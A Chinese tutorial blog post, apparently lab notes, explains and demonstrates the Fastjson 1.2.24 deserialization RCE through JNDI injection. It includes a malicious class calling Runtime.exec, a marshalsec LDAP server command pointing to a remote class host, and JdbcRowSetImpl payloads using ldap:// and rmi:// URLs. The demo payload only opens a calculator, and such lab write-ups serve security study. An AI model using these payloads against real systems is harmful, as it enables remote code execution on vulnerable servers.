35_fastjson

fastjson

一、简述

fastjson
alibaba 旗下的开源库

快速将不同类型的变量以json格式输出

这里利用fastjson_test2 来调试理解原理,在idea里面打开
在这里插入图片描述

1. fastjson可以将对象转换为json字符串
User user1 = new User("小李",10);
String JsStr1= JSONObject.toJSONString(user1);
System.out.println(JsStr1);

在这里插入图片描述

2. fastjson同样可以将字符串反序列化为对象

@type 决定将要反序列化生成的对象的类

String str = "{\"@type\":\"com.bihuo.User\",\"age\":1000,\"name\":\"老李\"}";
Object obj1 = JSONObject.parse(str);
System.out.println(obj1);

fastjson 在反序列化时 会自动调用属性的set 方法
在这里插入图片描述
setname方法这里存放我们的java命令执行的代码,弹出计算器
在这里插入图片描述
运行完结果,弹出了计算器
在这里插入图片描述

二、1.2.24-rce环境搭建

在这里插入图片描述
在这里插入图片描述

三、fastjson_rec_exploit-master工具利用

这里使用fastjson_rec_exploit-master工具,具体利用百度去查一下
在这里插入图片描述

四、JNDI注入原理

JNDI(Java Naming and Directory Interface,Java命名和目录接口
封装很多功能和函数

主要依靠ldap和rmi

ldap ===> light directory access protocol 轻量级目录访问协议
rmi ===> remote method invoke 远程方法调用

JNDI注入利用流程如下:

1、目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
2、攻击者控制URI参数为恶意的ldap服务地址,如:ldap://hacker_ldap_server//name;
3、攻击者ldap服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
4、目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
5、攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

lookup 通过使用该方法 可以实现远程.class文件的包含
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、手动利用

1. 流程

fastjson 相关漏洞 基本都是利用反序列化会自动触发特定类下的成员属性的set方法

idea不能直接获取class文件,java规定的
通过本地的8888端口开启的ldap服务器,来间接访问kali上8789端口存放的class文件,class文件内容是我们写的弹出计算器,通过写好的java文件编译成class文件,最后在idea反序列化运行代码的时候触发
在这里插入图片描述

2. class文件
import java.lang.Runtime;

public class Hello{
    public Hello(){
        try{
            Runtime.getRuntime().exec("cmd.exe /c calc.exe");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Hello e = new Hello();
    }
}
3. 生成class文件

在这里插入图片描述
在这里插入图片描述

4. 复制到kali中进行映射

在这里插入图片描述
可以在windows通过地址访问打开class文件
可以将kali当作一个存放class文件的远程服务器
在这里插入图片描述

5. 利用marshalsec工具开启ldap服务
C:\tools\jdk-1.8.0_144\JDK8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.11.131:8789/#Hello" 8888

windows通过访问本地的8888端口,可以访问到kali的8789端口下的class文件
在这里插入图片描述

6. 反序列化
ldap:
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.11.143:8888/Hello\", \"autoCommit\":true}";
Object obj1 = JSONObject.parse(str);

rmi:
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.11.143:8888/Hello\", \"autoCommit\":true}";
Object obj1 = JSONObject.parse(str);

反序列化生成一个com.sun.rowset包下的JdbcRowSetImpl
通过控制datasourcename的成员属性
最终调用setautoCommit方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值